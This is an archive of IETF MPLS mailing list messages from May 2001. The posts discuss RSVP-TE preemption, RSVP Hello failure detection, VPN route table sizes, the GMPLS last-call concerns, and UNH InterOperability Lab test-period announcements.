Date: Wed, 30 May 2001 09:43:12 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

hi

this question is about operaional networks
typically how big is the virtual route table compared to global
route table ? can somebody give me some numbers ?

my understanding is that global route table size is of the order of 100K
and virtual table will be in a few 1000s, is this correct ?

thanks
sajith


From owner-mpls@UU.NET  Wed May 30 12:52:32 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA17497
	for <mpls-archive@lists.ietf.org>; Wed, 30 May 2001 12:52:32 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrgt03594;
	Wed, 30 May 2001 16:52:51 GMT
Received: by mail-control.mail.uu.net 
	id QQkrgt23930
	for mpls-outgoing; Wed, 30 May 2001 16:52:18 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkrgt23903
	for <mpls@mail-control.mail.uu.net>; Wed, 30 May 2001 16:52:04 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkrgt14709
	for <mpls@UU.NET>; Wed, 30 May 2001 16:51:04 GMT
Received: from calliope1.fm.intel.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: fmfdns01.fm.intel.com [132.233.247.10])
	id QQkrgt00875
	for <mpls@UU.NET>; Wed, 30 May 2001 16:51:00 GMT
Received: from fmsmsx27.FM.INTEL.COM (fmsmsx27.fm.intel.com [132.233.42.27])
	by calliope1.fm.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.39 2001/05/18 00:47:02 root Exp $) with ESMTP id QAA07644
	for <mpls@UU.NET>; Wed, 30 May 2001 16:50:56 GMT
Received: by fmsmsx27.fm.intel.com with Internet Mail Service (5.5.2653.19)
	id <LYYGKNWQ>; Wed, 30 May 2001 09:50:54 -0700
Message-ID: <08DA9F9D7783D311AC430090276100E1053D42E6@fmsmsx87.fm.intel.com>
From: "Parmar, Pankaj N" <pankaj.n.parmar@intel.com>
To: "'mpls@UU.NET'" <mpls@UU.NET>
Subject: preemption in RSVP-TE
Date: Wed, 30 May 2001 09:50:46 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk


I have a doubt regarding preemption, as explained in the draft, specifically
the following statement:

"if the requested bandwidth is less than the used bandwidth then the
processing is complete. If the requested bandwidth is available, but is in
use by lower priority sessions, then lower priority sessions (beginning with
lower priority) MAY be pre-empted to free the necessary bandwidth."

It is not clear when the session gets preempted. It seems preemption could
to be done during PATH message processing, but then there is a issue here.
If a lower priority session gets preempted at a given LSR, and gets
forwarded downstream, it is possible that another downstream LSR may reject
the PATH message and send a PATH_ERR upstream. The issue is, a lower
priority session got preempted for no reason. On the other hand, if
preemption is done during a RESV message, we are more certain that we really
want to preempt a lower priority session.

Experts, please comment.

Thanks,

-Pankaj


From owner-mpls@UU.NET  Wed May 30 13:19:04 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA18580
	for <mpls-archive@lists.ietf.org>; Wed, 30 May 2001 13:19:04 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrgv22192;
	Wed, 30 May 2001 17:19:18 GMT
Received: by mail-control.mail.uu.net 
	id QQkrgv16590
	for mpls-outgoing; Wed, 30 May 2001 17:18:37 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkrgv16560
	for <mpls@mail-control.mail.uu.net>; Wed, 30 May 2001 17:18:24 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkrgv28086
	for <mpls@UU.NET>; Wed, 30 May 2001 17:18:06 GMT
Received: from sandmail.sandburst.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkrgv20180
	for <mpls@UU.NET>; Wed, 30 May 2001 17:18:06 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id E5AFB94006; Wed, 30 May 2001 13:18:01 -0400 (EDT)
Message-ID: <3B152B49.8529C803@sandburst.com>
Date: Wed, 30 May 2001 13:18:01 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: lyndon_ong@eudoramail.com
Cc: mpls@UU.NET, David Charlap <david.charlap@marconi.com>
Subject: Re: Last call - RSVP problems
References: <BKGMHIDINIJIJBAA@shared1-mail.whowhere.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Lyndon,

    There needs to be a common understanding of what 'node' means
in any specific context.  Node could mean - in this particular context
- the RSVP signaling entity.  In that context, detection of failure of a
control channel is insufficient.

--
Eric Gray

You wrote:

> Hmm, I'm confused here - I did not think the discussion was
> about RSVP Hello's function, it's understood to be detecting
> node failure rather than link or control channel failure.
>
> I thought the question was whether RSVP Hello was necessary if
> you have an alternative way of detecting control channel
> failure, in which case you can tell when there are no control
> channels left standing.  Detection of control channel failure
> could be through LMP Hello or if you have some alternative
> means, like monitoring control channel error rates.
>
> Cheers,
>
> Lyndon
> --
>
> On Wed, 30 May 2001 10:55:39   David Charlap wrote:
> >Dimitrios Pendarakis wrote:
> >>
> >> Could you please clarify why you think RSVP Hello doesn't work for
> >> parallel (redundant) control channels?
> >
> >RSVP Hello messages are sent between adjacent IP addresses.  If there
> >are multiple unnumbered links between two routers, only one set of
> >Hellos are generated for all the links.  If the multiple links are all
> >numbered, then Hello messages are sent for each of the links.
> >
> >As a result of this, RSVP Hello can only detect link failure when all
> >links between two routers are numbered.  If there are unnumbered links
> >between two routers, Hellos will not be interrupted until all of the
> >links fail - meaning it will only detect node failure.
> >
> >-- David
> >
>
> Join 18 million Eudora users by signing up for a free Eudora Web-Mail account at http://www.eudoramail.com



From owner-mpls@UU.NET  Wed May 30 13:34:45 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA19145
	for <mpls-archive@lists.ietf.org>; Wed, 30 May 2001 13:34:44 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrgw23184;
	Wed, 30 May 2001 17:35:02 GMT
Received: by mail-control.mail.uu.net 
	id QQkrgw18412
	for mpls-outgoing; Wed, 30 May 2001 17:34:25 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkrgw18390
	for <mpls@mail-control.mail.uu.net>; Wed, 30 May 2001 17:34:12 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkrgw02531
	for <mpls@UU.NET>; Wed, 30 May 2001 17:34:09 GMT
Received: from sandmail.sandburst.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkrgw21258
	for <mpls@UU.NET>; Wed, 30 May 2001 17:34:09 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id 7F57794006; Wed, 30 May 2001 13:34:09 -0400 (EDT)
Message-ID: <3B152F11.8176006B@sandburst.com>
Date: Wed, 30 May 2001 13:34:09 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: "Parmar, Pankaj N" <pankaj.n.parmar@intel.com>
Cc: "'mpls@UU.NET'" <mpls@UU.NET>
Subject: Re: preemption in RSVP-TE
References: <08DA9F9D7783D311AC430090276100E1053D42E6@fmsmsx87.fm.intel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Pankaj,

    Assuming you are referring to text in section 4.7.3 ("Procedures
applying to both C-Types") of draft-ietf-mpls-rsvp-lsp-tunnel-08,
at least part of the confusion stems from a typo in your quote.  The
correct word is 'unused' (as in 'unused bandwidth').  In other words,
no preemption is needed where there is already sufficient 'unused'
bandwidth.

    Admittedly, a part of the confusion may be caused by a somewhat
arbitrary distinction between 'available' and 'unused'.  It helps to
read 'requested bandwidth is available' as 'requested bandwidth is
within the capacity of links which are usable for this session'.

--
Eric Gray

You wrote:

> I have a doubt regarding preemption, as explained in the draft, specifically
> the following statement:
>
> "if the requested bandwidth is less than the used bandwidth then the
> processing is complete. If the requested bandwidth is available, but is in
> use by lower priority sessions, then lower priority sessions (beginning with
> lower priority) MAY be pre-empted to free the necessary bandwidth."
>
> It is not clear when the session gets preempted. It seems preemption could
> to be done during PATH message processing, but then there is a issue here.
> If a lower priority session gets preempted at a given LSR, and gets
> forwarded downstream, it is possible that another downstream LSR may reject
> the PATH message and send a PATH_ERR upstream. The issue is, a lower
> priority session got preempted for no reason. On the other hand, if
> preemption is done during a RESV message, we are more certain that we really
> want to preempt a lower priority session.
>
> Experts, please comment.
>
> Thanks,
>
> -Pankaj



From owner-mpls@UU.NET  Wed May 30 13:58:39 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA19899
	for <mpls-archive@lists.ietf.org>; Wed, 30 May 2001 13:58:39 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrgx21284;
	Wed, 30 May 2001 17:58:58 GMT
Received: by mail-control.mail.uu.net 
	id QQkrgx21285
	for mpls-outgoing; Wed, 30 May 2001 17:58:25 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkrgx21258
	for <mpls@mail-control.mail.uu.net>; Wed, 30 May 2001 17:58:04 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkrgx04155
	for <mpls@uu.net>; Wed, 30 May 2001 17:57:30 GMT
Received: from iol.unh.edu by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mars.iol.unh.edu [132.177.121.222])
	id QQkrgx02740
	for <mpls@uu.net>; Wed, 30 May 2001 17:57:30 GMT
Received: (from rdb@localhost)
	by iol.unh.edu (8.9.3/8.9.3) id NAA23812
	for mpls@uu.net; Wed, 30 May 2001 13:57:29 -0400 (EDT)
From: Rob Blais <rdb@iol.unh.edu>
Message-Id: <200105301757.NAA23812@iol.unh.edu>
Subject: Second 2001 UNH MPLS Group Test Period - RSVP-TE
To: mpls@UU.NET
Date: Wed, 30 May 2001 13:57:29 -0400 (EDT)
X-Mailer: ELM [version 2.5 PL3]
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

University of New Hampshire
InterOperability Laboratory
MPLS Consortium

Second 2001 MPLS Interoperability Group Test Period
RSVP-TE 
June 18 - 22, 2001 
IOL Group Test Facility
University of New Hampshire
1 Leavitt Lane
Durham, New Hampshire
 
The MPLS Consortium of the University of New Hampshire's InterOperability 
Laboratory will be holding its second 2001 Multi-Vendor MPLS Interoperability 
Test Period from June 18 through June 22, 2001.  The testing is free to 
MPLS Consortium members and US $7,000 for non-members.  (Consortium 
membership is US $15,000 per year.)  The event will be held at the 
InterOperability Lab, Group Test Facility, University of New Hampshire, 
Durham, New Hampshire.

Registration for the event will provide for a weekly testing fee of US $250 
per person, covering testing needs, lunch and snacks.  

The major focus for the week of June 18 - 22 will be on the IETF 
specifications of extensions to RSVP for LSP Tunnels, as specified
in draft-ietf-mpls-rsvp-lsp-tunnel-08.txt or later versions.  Testing 
will utilize available routing protocols and it is expected that most 
implementations will support ATM, POS, Fast Ethernet, and/or Gigabit 
Ethernet interfaces at speeds from 100Mbps to OC-192. 

It is the intention of this testing period to give as much time to testing 
many of the key areas of the RSVP-TE specification as possible.  The detailed 
testing plans will be available on the UNH-IOL website by May. 25, 2001 
at URL: http://www.iol.unh.edu/consortiums/mpls/grouptest/mplsgtp0601.html

For further info regarding the upcoming test period, please contact:
Rob Blais at (603) 862-4569 or rdb@iol.unh.edu or
consult the IOL WWW Page at URL http://www.iol.unh.edu/  

The direct link for information and registration for this event is
http://www.iol.unh.edu/consortiums/mpls/grouptest/mplsgtp0601.html
The deadline for registration is Noon Eastern Time, June 13, 2001,
but all participants are encouraged to register as early as possible.

/rob

---------------------------------------------------------------------
Rob Blais                  rdb@iol.unh.edu          "The suspense is
MPLS Consortium Manager    Phone: 603-862-4569       terrible. I 
ATM Operations Manager     Fax:   603-862-4181       hope it lasts."
UNH InterOperability Lab   http://www.iol.unh.edu/   -- Willy Wonka


From owner-mpls@UU.NET  Wed May 30 14:00:50 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA19955
	for <mpls-archive@lists.ietf.org>; Wed, 30 May 2001 14:00:49 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrgy19304;
	Wed, 30 May 2001 18:01:08 GMT
Received: by mail-control.mail.uu.net 
	id QQkrgy23364
	for mpls-outgoing; Wed, 30 May 2001 18:00:36 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkrgy21798
	for <mpls@mail-control.mail.uu.net>; Wed, 30 May 2001 18:00:12 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkrgx16297
	for <mpls@uu.net>; Wed, 30 May 2001 17:57:34 GMT
Received: from iol.unh.edu by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mars.iol.unh.edu [132.177.121.222])
	id QQkrgx12690
	for <mpls@uu.net>; Wed, 30 May 2001 17:57:34 GMT
Received: (from rdb@localhost)
	by iol.unh.edu (8.9.3/8.9.3) id NAA23817
	for mpls@uu.net; Wed, 30 May 2001 13:57:33 -0400 (EDT)
From: Rob Blais <rdb@iol.unh.edu>
Message-Id: <200105301757.NAA23817@iol.unh.edu>
Subject: Third 2001 UNH MPLS Group Test Period - CR-LDP
To: mpls@UU.NET
Date: Wed, 30 May 2001 13:57:33 -0400 (EDT)
X-Mailer: ELM [version 2.5 PL3]
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

University of New Hampshire
InterOperability Laboratory
MPLS Consortium

Third 2001 MPLS Interoperability Group Test Period
CR-LDP 
July 16 - 20, 2001 
IOL Group Test Facility
University of New Hampshire
1 Leavitt Lane
Durham, New Hampshire
 
The MPLS Consortium of the University of New Hampshire's InterOperability 
Laboratory will be holding its third 2001 Multi-Vendor MPLS Interoperability 
Test Period from July 16 through July 20, 2001.  The testing is free to 
MPLS Consortium members and US $7,000 for non-members.  (Consortium 
membership is US $15,000 per year.)  The event will be held at the 
InterOperability Lab, Group Test Facility, University of New Hampshire, 
Durham, New Hampshire.

Registration for the event will provide for a weekly testing fee of US $250 
per person, covering testing needs, lunch and snacks.  

The major focus for the week of July 16 - 20 will be on the IETF 
specifications of Constraint-Based LSP Setup using LDP, as specified
in draft-ietf-mpls-cr-ldp-05.txt or later versions.  Testing 
will utilize available routing protocols and it is expected that most 
implementations will support ATM, POS, Fast Ethernet, and/or Gigabit 
Ethernet interfaces at speeds from 100Mbps to OC-192. 

It is the intention of this testing period to give as much time to testing 
many of the key areas of the CR-LDP specification as possible.  The detailed 
testing plans will be available on the UNH-IOL website by July 6, 2001 
at URL: http://www.iol.unh.edu/consortiums/mpls/grouptest/mplsgtp0701.html

For further info regarding the upcoming test period, please contact:
Rob Blais at (603) 862-4569 or rdb@iol.unh.edu or
consult the IOL WWW Page at URL http://www.iol.unh.edu/  

The direct link for information and registration for this event is
http://www.iol.unh.edu/consortiums/mpls/grouptest/mplsgtp0701.html
The deadline for registration is Noon Eastern Time, July 11, 2001,
but all participants are encouraged to register as early as possible.

/rob

---------------------------------------------------------------------
Rob Blais                  rdb@iol.unh.edu          "The suspense is
MPLS Consortium Manager    Phone: 603-862-4569       terrible. I 
ATM Operations Manager     Fax:   603-862-4181       hope it lasts."
UNH InterOperability Lab   http://www.iol.unh.edu/   -- Willy Wonka


From owner-mpls@UU.NET  Wed May 30 14:04:37 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA20050
	for <mpls-archive@lists.ietf.org>; Wed, 30 May 2001 14:04:36 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrgy01387;
	Wed, 30 May 2001 18:04:55 GMT
Received: by mail-control.mail.uu.net 
	id QQkrgy29853
	for mpls-outgoing; Wed, 30 May 2001 18:04:27 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkrgy29278
	for <mpls@mail-control.mail.uu.net>; Wed, 30 May 2001 18:04:08 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrgy16871
	for <mpls@UU.NET>; Wed, 30 May 2001 18:03:32 GMT
Received: from hotmail.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: f21.law11.hotmail.com [64.4.17.21])
	id QQkrgy29178
	for <mpls@UU.NET>; Wed, 30 May 2001 18:03:31 GMT
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 30 May 2001 11:03:30 -0700
Received: from 65.112.106.16 by lw11fd.law11.hotmail.msn.com with HTTP;	Wed, 30 May 2001 18:03:30 GMT
X-Originating-IP: [65.112.106.16]
From: "Irfan Lateef" <irfanlateef@hotmail.com>
To: dimitri.papadimitriou@alcatel.be, elv@hotair.hobl.lucent.com
Cc: ccamp@ops.ietf.org, mpls@UU.NET, ip-optical@lists.bell-labs.com,
        tsg15q11@itu.int, t1x15@t1.org
Subject: Re: [IP-Optical] RE: GMPLS Last Calls
Date: Wed, 30 May 2001 14:03:30 -0400
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F21dgxDY6qQOVoVwpL80001809a@hotmail.com>
X-OriginalArrivalTime: 30 May 2001 18:03:30.0596 (UTC) FILETIME=[D5803640:01C0E932]
Sender: owner-mpls@UU.NET
Precedence: bulk

Dimitri,

The para from your email as I quoted below or some form of it,
explaining or atleast mentioning the independence of the protocol
to the model should be included in the text. This will go a long
way in future helping the readers in understanding the position of
the protocol with reference to the models.

Irfan Lateef

>You speak about GMPLS profiles for the UNI at the OIF, and potentially
>in the future for ASTN/ASON which are completely independent of the
>current GMPLS specification (self-consistency). We don't taylor a
>protocol suite based on the model to which we have to apply it since
>if the model change - you have to re-design your protocol ! -. Today
>GMPLS can be accomodated to any UNI/NNI interfaces coming from
>wherever you want. Why ? Because from the beginning it is a model
>independent specification ! By defining the profile you desire you
>can apply it to the OIF UNI / ASON UNI (if still needed) / etc.



>From: Dimitri Papadimitriou <dimitri.papadimitriou@alcatel.be>
>To: Eve Varma <elv@hotair.hobl.lucent.com>
>CC: ccamp@ops.ietf.org, mpls@UU.NET, ip-optical@lists.bell-labs.com,        
>tsg15q11@itu.int, t1x15@t1.org
>Subject: Re: [IP-Optical] RE: GMPLS Last Calls
>Date: Tue, 29 May 2001 22:40:31 +0200
>
>Hi,
>
>In this e-mail you speak about a "Requirements Design Team"
>do you refer to the NNI OIF project here i guess ?
>
>I wouldn't like to (re-)explain here the nice "reception" offered
>during the San Diego IETF meeting on the BT draft. Moreover, what's
>sound very strange here is that the author himself didn't present
>his draft during the last IETF meeting (since there was a -01 version)!
>Are you serious when you speak about ASON UNI requirements at the
>IETF ?
>
>You speak about GMPLS profiles for the UNI at the OIF, and potentially
>in the future for ASTN/ASON which are completely independent of the
>current GMPLS specification (self-consistency). We don't taylor a
>protocol suite based on the model to which we have to apply it since
>if the model change - you have to re-design your protocol ! -. Today
>GMPLS can be accomodated to any UNI/NNI interfaces coming from
>wherever you want. Why ? Because from the beginning it is a model
>independent specification ! By defining the profile you desire you
>can apply it to the OIF UNI / ASON UNI (if still needed) / etc. Also,
>don't spend to many time at the OIF to define the architecture it is
>already done...
>
>Now you mention one question which is under discussion about the
>correlation between the planes... the good point is that with the
>current work done at the IETF and OIF a solution will be found.
>However this does not mean AT ALL that the current GMPLS
>specifications are not going toward a very good direction. Therefore
>i don't think we need the additional text as you propose. In fact this
>is clearly an extended problem of the "restoration" issue already
>discussed on this mailing list and we already agree upon.
>
>Thanks,
>- Dimitri.
>
>Eve Varma wrote:
> >
> > Hi all,
> >
> > Watching the various emails regarding the GMPLS drafts, I see several
> > issues being raised related to some concerns that service provider
> > requirements haven't been sufficiently reflected in the GMPLS signaling
> > specifications - or at least, not been tested against.  (An initial set
> > of requirements was provided by BT on
> > Considerations on the development of an Optical Control Plane -
> > http://search.ietf.org/internet-drafts/draft-freeland-octrl-cons-01.txt.
> > Monica has mentioned other currently available sources of service
> > provider requirements as well, such as the Carriers Optical Services
> > Framework and Associated Requirements for the UNI, developed in the OIF
> > and submitted to T1 and ITU-T.  Some requirements were also submitted
> > earlier in the draft Requirements on the ASON UNI -
> > 
>http://search.ietf.org/internet-drafts/draft-lin-mpls-ipo-ason-uni-00.txt.
> > )
> >
> > For example, assuring separation of the control plane from the data
> > plane continues to arise - the GMPLS architecture document mentions this
> > separation, but it's not clear how the GMPLS signaling specifications
> > reflect the implications of this decoupling.  This is best illustrated
> > in the handling of control plane failures.  In particular, what happens
> > to established circuit connections if the control plane fails? If the
> > control plane recovers, how do we sync the connection state?  As an
> > example, from RSVP RFC: "RSVP takes a "soft state" approach to managing
> > the reservation state in routers and hosts. RSVP soft state is created
> > and periodically refreshed by Path and Resv messages. The state is
> > deleted if no matching refresh messages arrive before the expiration of
> > a "cleanup timeout" interval." This means that if for whatever reason
> > control messages are lost, the associated data paths will be released.
> > Thus there is strong failure correlation between the control plane and
> > data plane, which is inconsistent with the GMPLS architecture document,
> > and also results in tearing down optical connections resulting from even
> > temporary failures in the control plane.
> >
> > I also understand the other comments from Hirokazu and Shehzad re
> > exclusion of NSAP, having been at the last OIF meeting where there was
> > considerable and spirited discussion of this issue.  The current GMPLS
> > architecture document specifically excludes NSAP, and from the last OIF
> > meeting 6 out of 12 operators discussing this issue felt there was some
> > need to support NSAP addressing.
> >
> > Given that the Requirements Design Team will be starting shortly, I
> > concur with Yuri's suggestion for inclusion of a clear statement of what
> > is - and isn't - covered in the GMPLS Signaling Description, RSVP
> > Extensions, LDP Extensions drafts.   A suggestion for such text is
> > provided below (the intro will need to be tailored to each draft):
> >
> > "Overall, the objective of Generalized MPLS is to adapt MPLS signaling
> > and other protocols to enable their applicability to various switching
> > technologies.   A key motivating application has been applicability to
> > support a distributed control plane for various circuit-switching
> > technologies.   The signaling specifications contained within the these
> > drafts offer a starting point towards this goal; their current scope and
> > applicability, and areas for further assessment, are summarized below:
> >
> > These drafts provide some extensions to traditional MPLS signaling and
> > the basic signaling mechanisms provided in RSVP and LDP Ids (RFCs and
> > standard track documents) have not been modified.   It is noted that
> > MPLS signaling has been designed with a focus upon packet-switched
> > network based applications, utilizing  requirements and architectural
> > constructs suitable for such applications.   There may be significant
> > distinguishing characteristics with regard to requirements and
> > architectural considerations  for a distributed control plane that
> > supports circuit-switched network applications.  One well acknowledged
> > instance involves the decoupling of the control plane from the data
> > plane.  Such differences may have substantive impact on the signaling
> > mechanisms, the details of which require further study.  In addition,
> > upon further study of operational requirements and circuit-switching
> > technology specific aspects, further signaling extensions may be
> > required.
> >
> > These drafts are focussed upon intra-area signaling interfaces, and do
> > not address issues and considerations related to other domains of
> > usage.   Applicability to inter-area and inter-domain interfaces
> > requires further study."
> >
> > Hope this helps us move forward.
> >
> > Cheers,
> >   Eve
> >
> > itu
> >
> > shehzad.mirza@bt.com wrote:
> > >
> > > Hi,
> > >
> > > I fully agree with Hirokokazu Ishimatsu's concerns on the GMPLS 
>signalling
> > > drafts.
> > >
> > > (1) Decoupling of the control plane from the data plane should be 
>clearly
> > > stated.
> > >
> > > This decoupling clearly has an impact on how the protocols should be 
>defined
> > > to cope with control plane failures.
> > >
> > > (2) Exclusion of NSAP
> > >
> > > The GMPLS architecture document, (which logically speaking should 
>perhaps
> > > have been put forward for last call, ahead of the functional 
>description)
> > > explicitly excludes NSAP.  NSAP addressing is used within SDH/SONET
> > > communications channels (DCC bytes) therefore the use of alternative
> > > addressing within the same channels may have an adverse effect on
> > > interworking with legacy equipment, particularly with regard to 
>management.
> > > This raises the general concern of what level of compatibility is
> > > required/desired with legacy SDH/SONET equipment.  This debate whilst 
>likely
> > > to be contentious, is unavoidable as the interworking of control 
>plane,
> > > management plane and transport will have a direct impact on how this
> > > equipment is deployed and the economics of whether such deployments 
>will
> > > ever pay off.
> > >
> > > (3) Requirements from both security and OSS has not been discussed 
>fully
> > > yet.
> > >
> > > Security concerns have not been fully addressed, particularly at the
> > > architectural level.  The use of separate control network may 
>necessitate
> > > the need for 24 hour staff to protect against 'Denial of Service' 
>attacks as
> > > currently happens for IP router networks.  The interaction between the
> > > management plane and control plane need to be addressed, for example 
>it is
> > > undesirable to have multiple alarms generated when circuits are 
>created and
> > > torn down otherwise the management of a large scale network will 
>become
> > > impossible.  Discussions on service aspects need to take place, 
>otherwise
> > > the adoption of GMPLS equipment may be hampered, by these (solvable)
> > > concerns.
> > >
> > > Best regards
> > >
> > > Shehzad Mirza
> > >
> > >
> > >
> > > > -----Original Message-----
> > > > From: Hirokazu Ishimatsu [SMTP:hirokazu@japan-telecom.co.jp]
> > > > Sent: 29 May 2001 02:46
> > > > To:   George Swallow; ccamp; mpls
> > > > Cc:   ip-optical; tsg15q11; tsg13q10
> > > > Subject:      [IP-Optical] RE: GMPLS Last Calls
> > > >
> > > > Hi,
> > > >
> > > > From a carrier's perspective, my concerns about GMPLS signaling 
>drafts
> > > > are as follows:
> > > >
> > > > (1) Decoupling of the control plane from the data plane should be 
>clearly
> > > >      stated.
> > > > (2) Exclusion of NSAP
> > > > (3) Requirements from both security and OSS (Operating Support 
>System)
> > > >      has not been discussed fully yet.
> > > >
> > > > Best regards,
> > > > Hirokazu Ishimatsu
> > > > Japan Telecom
> > > >
> > > > > -----Original Message-----
> > > > > From: owner-ccamp@ops.ietf.org [mailto:owner-ccamp@ops.ietf.org]On
> > > > > Behalf Of George Swallow
> > > > > Sent: Tuesday, May 15, 2001 2:52 AM
> > > > > To: ccamp@ops.ietf.org; mpls@uu.net
> > > > > Subject: GMPLS Last Calls
> > > > >
> > > > >
> > > > > This message initiates a last call on four GMPLS drafts.  The last
> > > > > call is being issued jointly in the MPLS and CCAMP workgroups.
> > > > >
> > > > > The drafts are:
> > > > >
> > > > >     1.  Generalized MPLS - Signaling Functional Description
> > > > >
> > > > >            <draft-ietf-mpls-generalized-signaling-04.txt>
> > > > >
> > > > >
> > > > >     2.  Generalized MPLS Signaling - RSVP-TE Extensions
> > > > >
> > > > >            <draft-ietf-mpls-generalized-rsvp-te-03.txt>
> > > > >
> > > > >
> > > > >     3.  Generalized MPLS Signaling - CR-LDP Extensions
> > > > >
> > > > >            <draft-ietf-mpls-generalized-cr-ldp-03.txt>
> > > > >
> > > > >
> > > > >     4.  GMPLS Extensions for SONET and SDH Control
> > > > >
> > > > >            <draft-ietf-ccamp-gmpls-sonet-sdh-00.txt>
> > > > >
> > > > >
> > > > > The last call closes May 29, 12 pm GMT.
> > > > >
> > > > >
> > > > > -  V2KG (Vijay, Vijay, Kireeti, & George)
> > > > >
> > > > >
> > > > > 
>======================================================================
